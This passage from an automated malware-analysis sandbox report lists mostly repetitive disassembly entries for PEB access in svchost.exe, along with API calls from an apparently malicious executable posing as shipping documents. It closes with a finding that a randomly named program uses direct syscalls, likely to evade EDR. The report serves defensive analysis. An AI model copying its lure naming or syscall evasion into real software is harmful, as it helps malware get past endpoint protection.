                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362645D mov eax, dword ptr fs:[00000030h]2_2_0362645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365245A mov eax, dword ptr fs:[00000030h]2_2_0365245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]2_2_0362E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]2_2_0362E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]2_2_0362E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C427 mov eax, dword ptr fs:[00000030h]2_2_0362C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A430 mov eax, dword ptr fs:[00000030h]2_2_0366A430
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]2_2_03668402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]2_2_03668402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]2_2_03668402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036304E5 mov ecx, dword ptr fs:[00000030h]2_2_036304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036364AB mov eax, dword ptr fs:[00000030h]2_2_036364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036644B0 mov ecx, dword ptr fs:[00000030h]2_2_036644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BA4B0 mov eax, dword ptr fs:[00000030h]2_2_036BA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362CB7E mov eax, dword ptr fs:[00000030h]2_2_0362CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6B40 mov eax, dword ptr fs:[00000030h]2_2_036C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6B40 mov eax, dword ptr fs:[00000030h]2_2_036C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FAB40 mov eax, dword ptr fs:[00000030h]2_2_036FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D8B42 mov eax, dword ptr fs:[00000030h]2_2_036D8B42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EB20 mov eax, dword ptr fs:[00000030h]2_2_0365EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EB20 mov eax, dword ptr fs:[00000030h]2_2_0365EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F8B28 mov eax, dword ptr fs:[00000030h]2_2_036F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F8B28 mov eax, dword ptr fs:[00000030h]2_2_036F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]2_2_03638BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]2_2_03638BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]2_2_03638BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EBFC mov eax, dword ptr fs:[00000030h]2_2_0365EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BCBF0 mov eax, dword ptr fs:[00000030h]2_2_036BCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]2_2_03650BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]2_2_03650BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]2_2_03650BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]2_2_03630BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]2_2_03630BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]2_2_03630BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DEBD0 mov eax, dword ptr fs:[00000030h]2_2_036DEBD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640BBE mov eax, dword ptr fs:[00000030h]2_2_03640BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640BBE mov eax, dword ptr fs:[00000030h]2_2_03640BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]2_2_0366CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]2_2_0366CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]2_2_0366CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036ACA72 mov eax, dword ptr fs:[00000030h]2_2_036ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036ACA72 mov eax, dword ptr fs:[00000030h]2_2_036ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640A5B mov eax, dword ptr fs:[00000030h]2_2_03640A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640A5B mov eax, dword ptr fs:[00000030h]2_2_03640A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA24 mov eax, dword ptr fs:[00000030h]2_2_0366CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EA2E mov eax, dword ptr fs:[00000030h]2_2_0365EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03654A35 mov eax, dword ptr fs:[00000030h]2_2_03654A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03654A35 mov eax, dword ptr fs:[00000030h]2_2_03654A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA38 mov eax, dword ptr fs:[00000030h]2_2_0366CA38
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BCA11 mov eax, dword ptr fs:[00000030h]2_2_036BCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366AAEE mov eax, dword ptr fs:[00000030h]2_2_0366AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366AAEE mov eax, dword ptr fs:[00000030h]2_2_0366AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]2_2_03686ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]2_2_03686ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]2_2_03686ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630AD0 mov eax, dword ptr fs:[00000030h]2_2_03630AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03664AD0 mov eax, dword ptr fs:[00000030h]2_2_03664AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03664AD0 mov eax, dword ptr fs:[00000030h]2_2_03664AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638AA0 mov eax, dword ptr fs:[00000030h]2_2_03638AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638AA0 mov eax, dword ptr fs:[00000030h]2_2_03638AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686AA4 mov eax, dword ptr fs:[00000030h]2_2_03686AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704A80 mov eax, dword ptr fs:[00000030h]2_2_03704A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668A90 mov edx, dword ptr fs:[00000030h]2_2_03668A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]2_2_03656962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]2_2_03656962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]2_2_03656962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E mov eax, dword ptr fs:[00000030h]2_2_0367096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E mov edx, dword ptr fs:[00000030h]2_2_0367096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E mov eax, dword ptr fs:[00000030h]2_2_0367096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC97C mov eax, dword ptr fs:[00000030h]2_2_036BC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0946 mov eax, dword ptr fs:[00000030h]2_2_036B0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B892A mov eax, dword ptr fs:[00000030h]2_2_036B892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C892B mov eax, dword ptr fs:[00000030h]2_2_036C892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE908 mov eax, dword ptr fs:[00000030h]2_2_036AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE908 mov eax, dword ptr fs:[00000030h]2_2_036AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC912 mov eax, dword ptr fs:[00000030h]2_2_036BC912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628918 mov eax, dword ptr fs:[00000030h]2_2_03628918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628918 mov eax, dword ptr fs:[00000030h]2_2_03628918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE9E0 mov eax, dword ptr fs:[00000030h]2_2_036BE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036629F9 mov eax, dword ptr fs:[00000030h]2_2_036629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036629F9 mov eax, dword ptr fs:[00000030h]2_2_036629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C69C0 mov eax, dword ptr fs:[00000030h]2_2_036C69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036649D0 mov eax, dword ptr fs:[00000030h]2_2_036649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA9D3 mov eax, dword ptr fs:[00000030h]2_2_036FA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036309AD mov eax, dword ptr fs:[00000030h]2_2_036309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036309AD mov eax, dword ptr fs:[00000030h]2_2_036309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B89B3 mov esi, dword ptr fs:[00000030h]2_2_036B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B89B3 mov eax, dword ptr fs:[00000030h]2_2_036B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B89B3 mov eax, dword ptr fs:[00000030h]2_2_036B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE872 mov eax, dword ptr fs:[00000030h]2_2_036BE872
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE872 mov eax, dword ptr fs:[00000030h]2_2_036BE872
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6870 mov eax, dword ptr fs:[00000030h]2_2_036C6870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6870 mov eax, dword ptr fs:[00000030h]2_2_036C6870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03642840 mov ecx, dword ptr fs:[00000030h]2_2_03642840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660854 mov eax, dword ptr fs:[00000030h]2_2_03660854
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634859 mov eax, dword ptr fs:[00000030h]2_2_03634859
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634859 mov eax, dword ptr fs:[00000030h]2_2_03634859
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov ecx, dword ptr fs:[00000030h]2_2_03652835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A830 mov eax, dword ptr fs:[00000030h]2_2_0366A830
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC810 mov eax, dword ptr fs:[00000030h]2_2_036BC810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA8E4 mov eax, dword ptr fs:[00000030h]2_2_036FA8E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C8F9 mov eax, dword ptr fs:[00000030h]2_2_0366C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C8F9 mov eax, dword ptr fs:[00000030h]2_2_0366C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E8C0 mov eax, dword ptr fs:[00000030h]2_2_0365E8C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630887 mov eax, dword ptr fs:[00000030h]2_2_03630887
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC89D mov eax, dword ptr fs:[00000030h]2_2_036BC89D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365AF69 mov eax, dword ptr fs:[00000030h]2_2_0365AF69
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365AF69 mov eax, dword ptr fs:[00000030h]2_2_0365AF69
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704F68 mov eax, dword ptr fs:[00000030h]2_2_03704F68
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4F40 mov eax, dword ptr fs:[00000030h]2_2_036B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4F40 mov eax, dword ptr fs:[00000030h]2_2_036B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4F40 mov eax, dword ptr fs:[00000030h]2_2_036B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4F40 mov eax, dword ptr fs:[00000030h]2_2_036B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362CF50 mov eax, dword ptr fs:[00000030h]2_2_0362CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362CF50 mov eax, dword ptr fs:[00000030h]2_2_0362CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362CF50 mov eax, dword ptr fs:[00000030h]2_2_0362CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362CF50 mov eax, dword ptr fs:[00000030h]2_2_0362CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362CF50 mov eax, dword ptr fs:[00000030h]2_2_0362CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362CF50 mov eax, dword ptr fs:[00000030h]2_2_0362CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CF50 mov eax, dword ptr fs:[00000030h]2_2_0366CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EF28 mov eax, dword ptr fs:[00000030h]2_2_0365EF28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E6F00 mov eax, dword ptr fs:[00000030h]2_2_036E6F00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632F12 mov eax, dword ptr fs:[00000030h]2_2_03632F12
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CF1F mov eax, dword ptr fs:[00000030h]2_2_0366CF1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364CFE0 mov eax, dword ptr fs:[00000030h]2_2_0364CFE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364CFE0 mov eax, dword ptr fs:[00000030h]2_2_0364CFE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03670FF6 mov eax, dword ptr fs:[00000030h]2_2_03670FF6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03670FF6 mov eax, dword ptr fs:[00000030h]2_2_03670FF6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03670FF6 mov eax, dword ptr fs:[00000030h]2_2_03670FF6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03670FF6 mov eax, dword ptr fs:[00000030h]2_2_03670FF6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704FE7 mov eax, dword ptr fs:[00000030h]2_2_03704FE7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E6FF7 mov eax, dword ptr fs:[00000030h]2_2_036E6FF7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632FC8 mov eax, dword ptr fs:[00000030h]2_2_03632FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632FC8 mov eax, dword ptr fs:[00000030h]2_2_03632FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632FC8 mov eax, dword ptr fs:[00000030h]2_2_03632FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632FC8 mov eax, dword ptr fs:[00000030h]2_2_03632FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362EFD8 mov eax, dword ptr fs:[00000030h]2_2_0362EFD8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362EFD8 mov eax, dword ptr fs:[00000030h]2_2_0362EFD8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362EFD8 mov eax, dword ptr fs:[00000030h]2_2_0362EFD8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CF80 mov eax, dword ptr fs:[00000030h]2_2_0366CF80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03662F98 mov eax, dword ptr fs:[00000030h]2_2_03662F98
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03662F98 mov eax, dword ptr fs:[00000030h]2_2_03662F98
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636E71 mov eax, dword ptr fs:[00000030h]2_2_03636E71
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0E7F mov eax, dword ptr fs:[00000030h]2_2_036B0E7F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0E7F mov eax, dword ptr fs:[00000030h]2_2_036B0E7F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0E7F mov eax, dword ptr fs:[00000030h]2_2_036B0E7F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362EE5A mov eax, dword ptr fs:[00000030h]2_2_0362EE5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702E4F mov eax, dword ptr fs:[00000030h]2_2_03702E4F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702E4F mov eax, dword ptr fs:[00000030h]2_2_03702E4F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6E20 mov eax, dword ptr fs:[00000030h]2_2_036C6E20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6E20 mov eax, dword ptr fs:[00000030h]2_2_036C6E20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6E20 mov ecx, dword ptr fs:[00000030h]2_2_036C6E20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365AE00 mov eax, dword ptr fs:[00000030h]2_2_0365AE00
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009F80A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,0_2_009F80A9
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009CA124 SetUnhandledExceptionFilter,0_2_009CA124
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009CA155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_009CA155

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtProtectVirtualMemory: Direct from: 0x77542F9CJump to behavior
